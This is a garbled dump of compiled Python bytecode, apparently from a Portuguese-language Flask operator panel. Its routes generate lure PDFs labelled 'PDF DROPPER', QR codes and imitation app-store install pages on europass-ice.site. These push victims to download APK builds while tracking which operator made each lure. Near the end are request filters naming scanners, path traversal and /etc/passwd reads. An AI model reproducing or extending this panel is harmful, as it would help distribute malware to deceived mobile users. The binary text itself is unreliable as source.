ddEœdG|ddEœdH|ddEœdI|› dJddEœgdK td|d>|› ||d3|› dLœƒS )MNrN  FúLogin necessariorå  rø  Tré  rì  rí  rE  rW   r_  r  rè  úAtualizacao Disponivelr¢  rç  z1Toque no botao abaixo para instalar o aplicativo.r[  ú[^a-fA-F0-9#]rù  r»  rs   rú  r¼  Ú	txt_colorr½  z[^\w\s]rü  r¾  r•   Úexpire_daysém  úBuild nao selecionador  rö  rK  rý  r†   rí  rü  rû  rd  ra  z%Build nao encontrado ou sem permissaor<  r$  rh  rÜ  ú.pdfúhttps://europass-ice.site/pub/rÔ  r   Úpdf©r_  ra  r?  rø  rŒ  r  Útype)rù  rú  rû  rü  úErro ao gerar PDF: z	Gerar PDFzPDF gerado para build r  r®  ú/pdf/download/©Úpdf_idÚpdf_urlÚpub_urlrè  ra  r?  rø  rŒ  zPDF DROPPER GERADOzNovo PDF criado por **ú
** para **r×  iê3“ r3  ÚOperadorÚTituloúLink Publicoz	Expira emr4  r7  )ræ  rY  rZ  ra  rè  r[  )!r   r   r   rù  rú  r  rt  rw  r]   rï  ro  rÊ  r+  r  rE  r£   r¤   r>  r?  r¡   r¢   r[   r¯  r   rG  r   r  r±  r  r±   r^  r9  rì  )r¡  r_  Ú	pdf_titleÚpdf_messagerù  rú  rM  rü  rN  rü  rQ  rS  rˆ  Úbuild_foundra  Úsearch_usersr‹  r  r3  rY  Údl_tokenÚ
pdf_folderr÷  rø  r°  rŒ  r  rF   rF   rG   Úpdf_generateÅ  s†   
" &&&* €ÿ



 (€ÿ.



ûü"rf  z/pdf/download/<pdf_id>c                 C   sp   dt vr
ttdƒƒS t dd| ¡d d… } tj tj	d | › d¡}tj 
|¡s0tdd	iƒd
fS t|ddddS )NrN  rÞ  rD  rW   rÎ  rÜ  rQ  r9  zPDF nao encontrador<  Tzaplicativo.pdfzapplication/pdf)rŽ  r  Úmimetype©r   r   r	   rt  rw  r¡   r¢   r[   r>  r?  r¬   r   r   )rY  r÷  rF   rF   rG   Úpdf_download_route	  s   ri  r$  c                    sˆ   dd l }ddlm} t‡fdd„dD ƒƒ}t‡ fdd„dD ƒƒ}|jd |jj|dd}	|	 |¡ |	jd	d
 |	j	||d}
|
 
| ¡ d S )Nr   )ÚStyledPilImagec                 3   r  r  r  rP   r  rF   rG   rT     r-  r  r·  c                 3   r  r  r  rP   r  rF   rG   rT     r-  rS  )Úversionrr  rs  rt  Tru  ry  )r~  Úqrcode.image.styledpilrj  rU  r  r€  r  r‚  rƒ  r„  r…  )r¢   r   r  rù  rs  r~  rj  r!  rÿ  r‡  rˆ  rF   r"  rG   r#    s   
c	           (   	      sF  ddl m}	 ddlm}
 ddlm} ddlm} dd„ }|
\}}|	j| |
d}||ƒ}||ƒ}||ƒ}|d |d	  |d
  d dk ‰ |j	|Ž  |j
dd||d	dd |}|j	|Ž  |j
d|d|  |d| d	dd d| }|| d
 }|d|  }z9||ƒ}|j|||||dd |j|Ž  | d
¡ |j|d|  |d|  |d|  |d|  d| dd	d W n	 ty½   Y nw t‡ fdd„|D ƒƒ}|j	|Ž  t|ƒdkrÖdnd}| d|¡ | |d
 |d|  |¡ |j	|Ž  | dd¡ | |d
 |d|  |¡ |j|Ž  | d¡ | d| |d|  |d|  |d|  ¡ |j	|Ž  | dd¡ |d |  }| ¡ }d!}g }|D ]'}|d" |  ¡ } | | dd¡|d|  krZ| }q>|rb| |¡ |}q>|rn| |¡ |d d… D ]}!| |d
 ||!¡ |d#| 8 }qtd$| }"d%| }#||" d
 }$|d&|  }%|j	|Ž  |j|$|%|"|#d'| d	dd |d |d	  |d
  d }&|j	|&dkrÅd(nd)Ž  | dd*¡ | |d
 |%d+|  d,¡ |j||$|%|$|" |%|# fdd- t‡ fd.d„|D ƒƒ}'|j	|'Ž  | dd/¡ | |d
 |%d|  d0¡ | |d
 d1| d2¡ | ¡  | ¡  d S )3Nr   r¿  rÁ  rÃ  r$  c                    r²  )Nrs  c                 3   r³  r´  r*  rP   rµ  rF   rG   rT   +  r/  z6_create_qr_pdf.<locals>._hex_to_rgb.<locals>.<genexpr>r·  r¸  rµ  rF   rµ  rG   Ú_hex_to_rgb)  rº  z#_create_qr_pdf.<locals>._hex_to_rgbrÅ  r%  rL  rS  r‹  rÑ  rÔ  r   g      !@r'  r(  ru  r*  r+  c                 3   ó0    | ]}ˆ rt d |d ƒntd|d ƒV  qdS )r   rÕ  r%  N©rx  rÊ  rË  rÍ  rF   rG   rT   I  rÏ  r&  rÎ  r  rã  rÙ  rO   rÚ  rV   gš™™™™™'@rß  rW   rA   rÖ  rI   rÛ  gÍÌÌÌÌÌô?rM  rÝ  rÞ  r$  rà  r¾  rá  c                 3   rn  )r   r+  r%  Nro  rË  rÍ  rF   rG   rT   x  rÏ  r}  z+Ou escaneie o QR Code acima com seu celularrÜ  z+Toque no botao ou escaneie o QR para baixar)rã  rÀ  rä  rÂ  rå  rÄ  r-  r%  ræ  rç  rè  r.  ré  rê  rô  r±   rU  rx  rð  rñ  rƒ  r  ro  rò  rZ   rõ  rö  r…  )(r÷  rè  rç  ra  rø  r/  rù  rú  rû  rý  rÂ  rÄ  r%  rm  r/  r¶  rþ  rÿ  r   rb  Úaccentr0  r1  r2  Úqr_imgÚsub_colr  r	  r  rƒ  r
  r  r#  r  r  r  r  r  r  Úhint_colrF   rÍ  rG   r3  #  s–    

"

@ÿ



,



 
z
/qr/buildsc                   C   s   t ƒ S r  )rI  rF   rF   rF   rG   Úqr_list_builds‚  s   rt  z/qr/generatec                
   C   s<  dt vrtdddœƒdfS tjdddpi } t| tƒs$tdddœƒd	fS t d
dt|  	dd¡ƒ¡d d… }t ddt|  	dd¡ƒ¡d d… pGd}t ddt|  	dd¡ƒ¡d d… pZd}t
|  	dd¡ƒ}t|  	dd¡ƒd d…  ¡ prd}t|  	dd¡ƒd d…  ¡ }t ddt|  	dd¡ƒ¡d d… p“d}t ddt|  	dd¡ƒ¡d d… p¦d}t ddt|  	dd ¡ƒ¡d d… p¹d }	|sÅtdd!dœƒd	fS tƒ }
t d }|
d"  	|i ¡ 	d#d$¡}|
d"  	|i ¡ 	d%¡}d}d&}|
d"  ¡ D ]D\}}|d$krú||krúqí|d'kr| 	d%¡|krqí| 	d(g ¡D ]}| 	d¡|kr*| 	d)¡d*kr*d}| 	d+d&¡} nq|r1 nqí|so|d,kro|
d"  ¡ D ].\}}| 	d(g ¡D ]}| 	d¡|krf| 	d)¡d*krfd}| 	d+d&¡} nqJ|rm nq@|s{tdd-dœƒd.fS t d/¡}tƒ }t ¡ td0d1  ¡ }|||t ¡  ¡ |d2d3d4œ||< t|ƒ d5|› }t d6¡}tjd7 }tj |d8|› d9¡}z
t||||d: W n! tyç } ztdd;t|ƒ› dœƒdfW  Y d }~S d }~ww d|d<|› ||d=œ}|r;t d6¡}tj ||› d>¡}zt|||||||||	ƒ	 ||d?< d@|› |dA< W n ty: } zdBt|ƒ› |dC< W Y d }~nd }~ww t|dDdE|› dF|› dGƒ |d<|› |||t ¡  ¡ dHœ}|rid?|v rid@|d? › |dA< t|ƒ d&|ddIœdJ|ddIœdK|d d… ddIœg}|rŽ|  dLdMddIœ¡ t!dNdO|› dPdQ|dR t|ƒS )SNrN  FrJ  rå  rø  Tré  rì  rí  rE  rW   r_  r  rL  r  r  rs   rù  r  Úas_pdfrè  rK  r¢  rç  z3Escaneie o QR Code ou toque no botao para instalar.r[  Úpdf_bgr»  Úpdf_btnr¼  Úpdf_txtr½  rP  r  rö  rK  rý  r†   rí  rü  rû  rd  ra  rï  úBuild nao encontrador<  rh  r•   rÔ  r   r‡  rT  rR  r$  rÜ  Úqr_r”  )r  rù  zErro ao gerar QR: z
/qr/image/)ræ  Úqr_idÚqr_urlra  r[  rQ  rY  rW  rZ  zQR gerado mas PDF falhou: Úpdf_warningzGerar QR CodezQR gerado para build r  r®  )r{  r|  r[  ra  r?  rø  r3  r]  r_  ÚPDFzSim, gerado juntozQR CODE GERADOzNovo QR Code criado para **r×  r  r7  )"r   r   r   rù  rú  r  rt  rw  r]   rï  ry  ro  r  rE  r£   r¤   r¯  r   rG  r   r  r±  r>  r?  r¡   r¢   r[   r#  r±   r3  r^  r<  rZ   rì  ) r¡  r_  r  rù  ru  r`  ra  rv  rw  rx  rü  rQ  rS  rˆ  rb  ra  r‹  r  r3  rd  r°  rŒ  rø  r{  Ú	qr_folderr/  r  ÚresultrY  r÷  Ú_qr_itemrë  rF   rF   rG   Úqr_generate‡  s²   
"&& &&& €ÿ €ÿ
 


(€ÿ
€ÿ 

ýr‚  z/qr/image/<qr_id>c                 C   sn   dt vr
ttdƒƒS t dd| ¡d d… } tj tj	d d| › d¡}tj 
|¡s1td	d
iƒdfS t|ddS )NrN  rÞ  rD  rW   rÎ  rÜ  rz  r”  r9  zQR nao encontrador<  ú	image/png©rg  rh  )r{  Úqr_pathrF   rF   rG   Úqr_imageæ  s   r†  z	/pdf/listc                  C   sº   dt vr
tg ƒdfS tƒ } t d }| d  |i ¡ dd¡}| d  |i ¡ d¡}td|||| ƒ}g }|D ]$}t|ƒ}tj t	j
d | d	d
¡› d¡}tj |¡|d< | |¡ q4t|ƒS )NrN  rø  r  rö  rK  rý  r5  rÜ  rY  rW   rQ  r¬   ©r   r   r  rï  rC  r  r¡   r¢   r[   r>  r?  r¬   rZ   )rü  rQ  rS  rˆ  rE  Úoutr8  r÷  rF   rF   rG   Úpdf_list_itemsò  s   "r‰  z/qr/listc               	   C   s¼   dt vr
tg ƒdfS tƒ } t d }| d  |i ¡ dd¡}| d  |i ¡ d¡}td|||| ƒ}g }|D ]%}t|ƒ}tj t	j
d d	| d
d¡› d¡}tj |¡|d< | |¡ q4t|ƒS )NrN  rø  r  rö  rK  rý  r;  rÜ  rz  r{  rW   r”  r¬   r‡  )rü  rQ  rS  rˆ  rE  rˆ  r8  r…  rF   rF   rG   Úqr_list_items  s   $rŠ  z/pdf/delete/<pdf_id>c                 C   sJ  dt vrtddiƒdfS t dd| ¡d d… } tƒ }t d }|d  |i ¡ d	d
¡}|d  |i ¡ d¡}tƒ }| dg ¡}g }d}|D ]/}	|	 d¡| krn|	 d¡}
|dksk|
|ksk|dkrn|d  |
i ¡ d¡|krnd}qD| |	¡ qD|stdddœƒdfS ||d< t|ƒ t	j
 tjd | › d¡}t	j
 |¡rŸt	 |¡ tddiƒS )NrN  ræ  Frø  rD  rW   rÎ  r  rö  rK  rý  r5  rY  r?  rï  rí  TúNao encontradorå  r<  rÜ  rQ  )r   r   rt  rw  r  rï  r¯  rZ   r±  r¡   r¢   r[   r>  r?  r¬   rJ  )rY  rü  rQ  rS  rˆ  r°  rE  Ú	new_itemsÚfoundr8  rï  r÷  rF   rF   rG   Ú
pdf_delete  s4   
2
rŽ  z/qr/delete/<qr_id>c                 C   s¬  dt vrtddiƒdfS t dd| ¡d d… } tƒ }t d }|d  |i ¡ d	d
¡}|d  |i ¡ d¡}tƒ }| dg ¡}g }d}d }	|D ]=}
|
 d¡| kr~|
 d¡}|dksm||ksm|dkr~|d  |i ¡ d¡|kr~d}|
 d¡r}|
d  d¡d }	qF| |
¡ qF|stdddœƒdfS ||d< t	|ƒ d| › dfD ]}t
j tjd |¡}t
j |¡rµt
 |¡ qž|	rÐt
j tjd |	› d¡}t
j |¡rÐt
 |¡ tddiƒS )NrN  ræ  Frø  rD  rW   rÎ  r  rö  rK  rý  r;  r{  r?  rï  rí  TrZ  r
  r0  r‹  rå  r<  rz  r”  rÜ  rQ  )r   r   rt  rw  r  rï  r¯  r  rZ   r±  r¡   r¢   r[   r>  r?  r¬   rJ  )r{  rü  rQ  rS  rˆ  r°  rE  rŒ  r  Úpdf_id_to_delr8  rï  Úf_namer,  rF   rF   rG   Ú	qr_delete6  sF   
2

€
r‘  c           8         sÜ  ddl m} ddlm} ddlm} dd l}dd l}	d‰d‰ |\‰‰‡ ‡‡‡fdd„}
|j| |d	}|r8t	|ƒnd
}|j
|Ž  |jddˆˆddd |D ]}| dd¡}zt| dd¡ƒ}t| dd¡ƒ}tt| dd¡ƒdƒ}tt| dd¡ƒdƒ}|
||||ƒ\}}}}|dkr+t| dd¡ƒd d… }ttt| dd¡ƒdƒdƒ}t| dd¡ƒ}t ddt| dd¡ƒ¡d d … pÁd}| d!d"¡}|rÌd#nd$}|j
t	|ƒŽ  | ||¡ | d%¡}t|d d&… ƒD ]@\}}|| ||d   d' } | |d' k r n(|d(kr| ||d'  | |¡ qè|d)kr!| || | |¡ qè| || |¡ qèn-|d*krkt d+dt| d,d¡ƒ¡d d&… }!tj |d-|!› ¡}"tj |"¡rit| d.d/¡ƒ}#|j||"ƒ||||d0|#d1d2 ní|d3krçt ddt| d4d¡ƒ¡d d … pƒd‰t ddt| d5d6¡ƒ¡d d … p—d6‰t‡fd7d8„d9D ƒƒ}$t‡fd:d8„d9D ƒƒ}%|j |j!j"d;d'd<}&|& #|¡ |&j$d/d= |&j%|$|%d>}'|	 &¡ }(|'j'|(d?d@ |( (d¡ | ||(ƒ||||¡ nq|dAkrzt| dBdC¡ƒd d… })t ddt| d5dD¡ƒ¡d d … pdD}*t ddt| dEd6¡ƒ¡d d … pd6}+ttt| ddF¡ƒdGƒd&ƒ},t|dH d;ƒ}-|j
t	|*ƒŽ  |j)|||||-ddd |j
t	|+ƒŽ  | d#|,¡ | ||d'  |||, d'  d |)¡ |j*||||| || fddI nÞ|dJkrDt d+dt| d,d¡ƒ¡d d&… }!t| dKd¡ƒd dL… }.tj |d-|!› ¡}"tj |"¡r¼|j||"ƒ||||d0ddM n| 
dNdNdN¡ |j||||ddd t||ƒdO }/||d'  }0||d'  }1| 
ddd¡ |j+|0|1|/ddd | 
dNdNdN¡ | ,¡ }2|2 -|0|/dP  |1|/dQ  ¡ |2 .|0|/dR  |1¡ |2 .|0|/dP  |1|/dQ  ¡ |2 /¡  |j0|2ddd |.rB|j*|.|||| || fddI n|dSkrÀt ddt| dTdU¡ƒ¡d d … p\dU}3t ddt| dVd¡ƒ¡d d … }4t| dWd¡ƒ}5t| dXd¡ƒ}6|j
t	|3ƒŽ  t|4ƒ}7|7r˜|j1t	|4ƒŽ  | 2|5¡ |6dkr¯|j)|||||6d|7rªdndd n©|j||||d|7r»dndd n˜|dYkr!t ddt| dTdU¡ƒ¡d d … pØdU}3t ddt| dVd¡ƒ¡d d … }4t| dWd¡ƒ}5|j
t	|3ƒŽ  t|4ƒ}7|7r|j1t	|4ƒŽ  | 2|5¡ |j3|||| || d|7rdndd n7|dZkrXt ddt| dTd¡ƒ¡d d … p9d}3|j1t	|3ƒŽ  | 2|¡ | 4|||d'  || ||d'  ¡ W qL t5yc   Y qLw | 6¡  | '¡  d S )[Nr   r¿  rÁ  r$  g     @@g     †@c                    sD   | ˆˆ  }|ˆˆ  }|ˆˆ   }ˆ|ˆˆ    | }||||fS r  rF   )r  ÚcyÚcwÚchrÌ  r/  r¶  Úy)ÚCANVAS_HÚCANVAS_WÚPAGE_HÚPAGE_WrF   rG   Úto_pdfh  s
   z$_render_advanced_pdf.<locals>.to_pdfrÅ  rÞ  r%  rÑ  rU  rW   rÌ  r•  r/  r  r¶  r  r˜   iè  r  é   rv   r‘  ÚboldFrL  rê  r  rs   ÚalignÚleftrÙ  rÚ  rs  r—  rL  ÚcenterÚrightÚimageú[^a-zA-Z0-9._-]Úimg_idÚimg_Ú
keep_ratioTr'  rþ  )r)  ÚpreserveAspectRatiorŠ  r‡  r!  rÿ  r  c                 3   r  r  r  rP   ©Úfg_hexrF   rG   rT   Ÿ  r-  z'_render_advanced_pdf.<locals>.<genexpr>r·  c                 3   r  r  r  rP   ©Úbg_hexrF   rG   rT      r-  rO   rq  ru  ry  r|  r}  Úbuttonrá  r¾  r¼  rû  rß  r   rS  rá  Úvideor   r[  )r)  r¦  gš™™™™™¹?gÃõ(\ÂÅ?r+  gÍÌÌÌÌÌÜ?r,  rè  rÒ  z#ccccccrt  Úborder_widthÚradiusÚellipserƒ  )7rã  rÀ  rä  rÂ  r-  r%  r~  r1  ræ  r¹  rç  rè  rï  Úfloatrx  r]   rÊ  ry  rt  rw  rð  r  rw  rñ  ÚdrawRightStringÚ
drawStringr¡   r¢   r[   r¬   r.  rU  r  r€  r  r‚  rƒ  r„  rp  r…  Úseekrô  rõ  rë  rì  rí  rî  r®  rï  ré  rê  r¯  rƒ  r±   rö  )8r÷  rù  Úelementsrø  re  rý  rÂ  r%  Ú
qrcode_libr1  rš  rþ  rÿ  Úelrð  r  r’  r“  r”  rÌ  r•  r/  r¶  rc  Úfsizerœ  rê  r  Úfontr_  rQ   rƒ  ÚlyÚraw_idÚimg_pathÚpreserveÚfg_tÚbg_tr‡  rˆ  r‰  rá  Úbtn_bgÚbtn_tcÚ	btn_fsizer®  Ú	video_urlÚr2Úcx2Úcy2Úp2Úfill_hexÚ
border_hexÚbwÚradius_rÚ
has_borderrF   )r–  r—  r˜  r™  rª  r¨  rG   Ú_render_advanced_pdf]  s  


&


€
"ÿ€
((


((&$
" €
("

$"
("
*
(
$€ÿrÌ  z/pdf/editorc            	   	   C   s€  dt vr
ttdƒƒS tƒ } t d }| d  |i ¡ dd¡}| d  |i ¡ d¡}g }tƒ }| d  ¡ D ]E\}}|dkr@||kr@q3|dkrL| d¡|krLq3| dg ¡D ]%}| d	¡d
krw| d¡|vrw| |d ¡ | |d | dd¡dœ¡ qRq3|dkr¹g }tƒ }| d  ¡ D ]0\}}| dg ¡D ]%}| d	¡d
kr·| d¡|vr·| |d ¡ | |d | dd¡dœ¡ q’qˆt	d||dS )NrN  rÞ  r  rö  rK  rý  rí  rü  rû  rd  r_  ra  r†   )r_  ra  rï  zpdf_editor.html)rü  rN  )
r   r   r	   r  rï  rP  rE  rì  rZ   r   )	rü  rQ  rS  rˆ  rü  Úseenr‹  r  r3  rF   rF   rG   Úpdf_editor_pageø  s<   €ý€ýrÎ  z/pdf/upload-imagec                  C   sÒ   dt vrtddiƒdfS dtjvrtdddœƒdfS tjd } | js+tdd	dœƒdfS tj t| jƒ¡d
  	¡ }|dvrEtdddœƒdfS t
 d¡| }tj tjd d|› ¡}|  |¡ td|d|› dœƒS )NrN  ræ  Frø  r³  úNenhum arquivorå  rí  zArquivo vazior%  ©r”  z.jpgz.jpegz.gifz.webpzFormato nao suportador$  rÜ  r¤  Tz/pdf/image/)ræ  r£  Úimg_url)r   r   r   r  r[  r¡   r¢   rÿ  r
   r   r£   r¤   r[   r>  r?  r…  )ra  r  r£  r»  rF   rF   rG   Úpdf_upload_image  s   


rÒ  z/pdf/image/<img_id>c                 C   s¢   dt vrtddiƒdfS t dd| ¡d d… } tj tjd d	| › ¡}tj 	|¡s2tdd
iƒdfS tj 
| ¡d  ¡  d¡}ddddddœ |d¡}t||dS )NrN  r9  rJ  rø  r¢  rW   r—  rÜ  r¤  zImagem nao encontradar<  r%  rw   rƒ  z
image/jpegz	image/gifz
image/webp)ÚpngÚjpgÚjpegÚgifÚwebpr„  )r   r   rt  rw  r¡   r¢   r[   r>  r?  r¬   rÿ  r   rz  rï  r   )r£  r»  r  ÚmimerF   rF   rG   Úpdf_get_image(  s   ÿÿrÙ  z/pdf/qr-previewc                     s   dt vrtddiƒdfS dd l} dd l}t ddtj dd	¡¡d d
… p%d	‰t ddtj dd¡¡d d
… p7d‰ t	‡fdd„dD ƒƒ}t	‡ fdd„dD ƒƒ}| j
| jjddd}| d¡ |jdd |j||d}| ¡ }|j|dd | d¡ t|ddS )NrN  r9  rJ  rø  r   rL  rW   r!  r  rs   rÿ  r  c                 3   r  r  r  rP   r§  rF   rG   rT   >  r-  z!pdf_qr_preview.<locals>.<genexpr>r·  c                 3   r  r  r  rP   r©  rF   rG   rT   ?  r-  rv   rL  rq  zhttps://europass-ice.siteTru  ry  r|  r}  rƒ  r„  )r   r   r~  r1  rt  rw  r   rZ  rï  rU  r  r€  r  r‚  rƒ  r„  rp  r…  r³  r   )rµ  r1  r½  r¾  r‡  rˆ  r‰  rF   )rª  r¨  rG   Úpdf_qr_preview6  s    $$

rÚ  z/pdf/generate-advancedc                  C   sä  dt vrtdddœƒdfS tjdddpi } t| tƒs$tdddœƒd	fS t d
dt|  	dd¡ƒ¡d d… }t ddt|  	dd¡ƒ¡d d… pGd}|  	dg ¡}t
t|  	dd¡pWdƒdƒ}t|  	dd¡ƒd d… }|rnt|tƒswtdddœƒd	fS tƒ }t d }|d  	|i ¡ 	dd¡}|d  	|i ¡ 	d¡}	d}
d}|d  ¡ D ]>\}}|dkr¬||kr¬qŸ|dkr¸| 	d¡|	kr¸qŸ| 	dg ¡D ]}| 	d¡|krØ| 	d¡d krØd}
| 	d!d¡} nq¾|
rÝ nqŸ|
s|d"kr|d  ¡ D ],\}}| 	dg ¡D ]}| 	d¡|kr| 	d¡d krd}
| 	d!d¡} nqö|
r nqì|
s%tdd#dœƒd$fS t d%¡}t ¡ t|d&  ¡ }tƒ }|||t ¡  ¡ |d'd(d)œ||< t|ƒ d*|› }t d+¡}tj tjd, |› d-¡}zt||||tjd, ƒ W n! ty‘ } ztdd.t|ƒ› dœƒd/fW  Y d }~S d }~ww t|d0d1|› ƒ t|d2|› ||p¦|||t ¡  ¡ |d3œƒ z)t d4d5|› d6|› d7d8d|dd9œd:|dd9œd;tt!|ƒƒdd9œd<|dd9œgd= W n
 tyå   Y nw td|d2|› |d>œƒS )?NrN  FrJ  rå  rø  Tré  rì  rí  rE  rW   r_  r  rL  rù  r  rs   r´  rN  r•   rO  r`  r†   r¢  r  rö  rK  rý  rí  rü  rû  rd  ra  rï  ry  r<  rh  rÔ  r   Úpdf_advancedrT  rR  r$  rÜ  rQ  rV  r[  zGerar PDF EditorzPDF editor para rW  rX  zPDF EDITOR GERADOzPDF editor criado por **r\  r×  iö\‹ r3  r]  Ú	ElementosÚLinkr7  )ræ  rY  rZ  r[  )"r   r   r   rù  rú  r  rt  rw  r]   rï  rÊ  r+  Úlistr  rE  r£   r¤   r   rG  r   r  r¯  r±  r¡   r¢   r[   r>  r?  rÌ  r±   r^  r9  rì  rx  )r¡  r_  rù  r´  rN  Úpdf_title_mrü  rQ  rS  rˆ  rb  ra  r‹  r  r3  rd  rŒ  r°  rø  rY  r÷  r  rF   rF   rG   Úpdf_generate_advancedJ  s¬   
"&€ÿ €ÿ

ý

(€ÿ

ü


ü
üÿ
ÿrà  c               	   C   sp  	 t  d¡ t   ¡ d } d }}tj dd¡}|r\z9t |¡D ]1}tj ||¡}tj 	|¡rP| 
d¡rPtj |¡| k rPzt |¡ |d7 }W q tyO   Y qw qW n	 ty[   Y nw tj d	d¡}|r¨z9t |¡D ]1}tj ||¡}tj 	|¡rœ| 
d
¡rœtj |¡| k rœzt |¡ |d7 }W qk ty›   Y qkw qkW n	 ty§   Y nw |s¬|r·td|› d|› dƒ q)NTr•  é€Q r   rÚ  rW   r,  r%  rÜ  rQ  z[cleanup] removidos: z	 APK(s), z PDF(s) com mais de 48h)r<  Úsleepr>  r?  rï  r¡   rþ  r¢   r[   r]  rD  ÚgetmtimerJ  r±   r­   )ÚcutoffÚremoved_apkÚremoved_pdfÚoutput_folderr  r  re  rF   rF   rG   Ú_cleanup_old_apks¨  sV   

ÿ€ù	ÿ
ÿ€ù	ÿÜrè  )rÇ  r`  z/play/<slug>c                 C   s¨   t  dd| ¡d d… } tƒ }| di ¡}| | ¡}|sdS | dd¡}|rNz$ddlm}m} | |¡}| ¡ | |d	d
krH|| = t|ƒ W dS W n   Y t	d|dS )NrE  rW   r'  Ú
play_pages)u…   <html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>PÃ¡gina nÃ£o encontrada.</h2></body></html>r<  rø  r   r   rh  r
  )u‚   <html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>Esta pÃ¡gina expirou.</h2></body></html>r<  zplay_page.html)r>  )
rt  rw  r  rï  r   r   r&  r  r  r   )Úslugrü  ÚpagesÚpageÚcreatedr   r   ÚctrF   rF   rG   Ú	play_pageÖ  s&   

ýrï  z/play-download/<slug>c              	   C   s¾   t  dd| ¡d d… } tƒ }| di ¡}| | ¡}|s#tddiƒdfS t  ddt| d	d¡ƒ¡d d
… }tjd }tj	 
||› d¡}tj	 |¡sKdS t  dd| dd¡¡d }t|d|dS )NrE  rW   r'  ré  r9  õ   NÃ£o encontrador<  r-  r_  r  rÚ  r,  )u   <html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>APK nÃ£o disponÃ­vel no momento.</h2></body></html>r<  z[^a-zA-Z0-9 _-]ra  r>  Tr  )rt  rw  r  rï  r   r]   r>  r?  r¡   r¢   r[   r¬   r   )rê  rü  rë  rì  r_  rç  r´  r0  rF   rF   rG   Úplay_downloadì  s   
"
rñ  z/api/play-pagesc               
   C   sâ  dt vr
tg ƒdfS tƒ } |  di ¡}tjd }t ¡ }g }t| 	¡ ƒD ]'\}}| dd¡}|rKzt 
|¡}|| tddkrD| |¡ W q$   Y q$q$|D ]}||= qN|rZt| ƒ t  dd¡}	t  d	¡d
v }
g }| 	¡ D ]v\}}|
s|| dd¡|	kr|qmt ddt| dd¡ƒ¡d d… }tj tj ||› d¡¡}d}| dd¡}|r×z-t 
|¡}|| }d| ¡  }|dkr»W qmt|d ƒ}t|d d ƒ}|› d|› d}W n   Y | i |¥||dœ¥¡ qm|jdd„ dd t|ƒS )NrN  rø  ré  rÚ  rø  rW   rh  r
  rö  )rí  rï  r?  r-  r_  r  r,  Ú24hrá  r   r•  r—  r¶  r  )Úapk_availableÚ	remainingc                 S   s   |   dd¡S )Nrø  rW   rƒ  )rÌ  rF   rF   rG   Ú<lambda>,  s    z get_play_pages.<locals>.<lambda>T)r–  Úreverse)r   r   r  rï  r>  r?  r   r  rÞ  rE  r&  r   rZ   r  rt  rw  r]   r¡   r¢   r¬   r[   Útotal_secondsr+  Úsort)rü  rë  rç  r  r×  rê  rì  rí  rî  rQ  Úis_adminr€  r_  Ú
apk_existsrô  ÚelapsedÚremaining_secsr¶  r  rF   rF   rG   Úget_play_pagesü  s^   


€ú"
rý  z/api/play-icon-uploadc                  C   sÎ   dt vrtddiƒdfS tj d¡} | r| js tdddœƒdfS tj t	| jƒ¡d	  
¡ }|d
vr:tdddœƒdfS tj tddd¡}tj|dd tt ¡ ƒ| }tj ||¡}|  |¡ tdd| dœƒS )NrN  ræ  Frø  rU  rÏ  rå  rí  r%  rÐ  z,Formato invalido (use PNG, JPG, GIF ou WebP)Ústaticrˆ  Ú
play_iconsTr  z/static/img/play_icons/)ræ  r   )r   r   r   r  rï  r[  r¡   r¢   rÿ  r
   r   r[   ÚBASE_DIRr  r]   r  r  r…  )ra  r  Ú	icons_dirr  r  rF   rF   rG   Úupload_play_icon0  s   

r  c                  C   s  dt vrtddiƒdfS tjdddpi } t|  dd¡ƒ ¡ d d	… }t d
dt|  dd¡ƒ¡d d… }t|  dd¡ƒd d… }t|  dd¡ƒ ¡ d d	… }t|  dd¡ƒ ¡ d d… }t|  dd¡ƒ ¡ d d… }t|  dd¡ƒ ¡ d d… }|r||s…tdddœƒdfS t	 
d|¡ dd¡ d¡}t dd | ¡ ¡ d ¡}|s¦|d d… }tƒ }	d!|	vr±i |	d!< |}
d"}||	d! v rÌ|
› d |› }|d"7 }||	d! v s»||||||||t d t ¡  ¡ d#œ
|	d! |< t|	ƒ ztd$d%|› d&t d › d'|› d(ƒ W n   Y td|d)|› d*œƒS )+NrN  ræ  Frø  Tré  ra  rW   r'  r-  r_  r  Úicon_urliÐ  r  ÚDesenvolvedorr  r  r  r  r  r}  Úbutton_textÚInstalaru)   Nome do app e Build ID sÃ£o obrigatÃ³riosrå  rí  ÚNFKDÚasciir+  z
[^a-z0-9]+ú-ré  r%  )
rê  r_  ra  r  r  r  r  r  r?  rø  zTELA PLAY Criadar×  z**
Operador: z%
URL: https://europass-ice.site/play/i_‡ z/play/)ræ  rê  r   )r   r   r   rù  r]   rï  ro  rt  rw  Ú_unicodedataÚ	normalizer‡  rŠ  r   r  r   r  r  r  rì  )r¡  ra  r_  r  r  r  r  r  rê  rü  Ú	base_slugr8  rF   rF   rG   Úcreate_play_pageA  sT   "þ
ö&r  z/api/play-pages/<slug>ÚDELETEc                 C   s|   dt vrtddiƒdfS t dd| ¡d d… } tƒ }d|vs&| | di ¡vr/tdd	d
œƒdfS |d | = t|ƒ tddiƒS )NrN  ræ  Frø  rE  rW   r'  ré  rð  rå  r<  T)r   r   rt  rw  r  rï  r  )rê  rü  rF   rF   rG   Údelete_play_paget  s   
r  z(?i)(\.\./|%2e%2e|%252e%252e)z;(?i)(union.{1,20}select|drop.{1,10}table|insert.{1,10}into)z.(?i)(etc/passwd|etc/shadow|\.env|\.git/config)z*(?i)(eval\(|base64_decode|system\(|exec\()zU(?i)(sqlmap|nikto|masscan|nmap|dirsearch|nuclei|gobuster|acunetix|nessus|zgrab|hydra)>   rß  rþ  r  c                  C   sÎ   t jdvrd S t jtv rd S t j d¡rd S dtvrd S t dd¡} t j dd¡p4t js3t j	 dd¡nd}t jrTzt j
ddp@i }|pH| dd¡}W n	 tyS   Y nw | r]|r]t| |ƒsetd	d
iƒdfS d S )N)rà  ÚPUTr  ÚPATCHú/api/pix/statusrN  rÙ  rW   zX-CSRF-TokenT)rë  r9  zCSRF token invalidorð  )r   Úmethodr¢   Ú_CSRF_EXEMPT_PATHSrF  r   rï  r2  Úis_jsonr\  rù  r±   Ú_csrf_comparer   )ÚexpectedÚgivenrd  rF   rF   rG   Úcsrf_protect  s(   

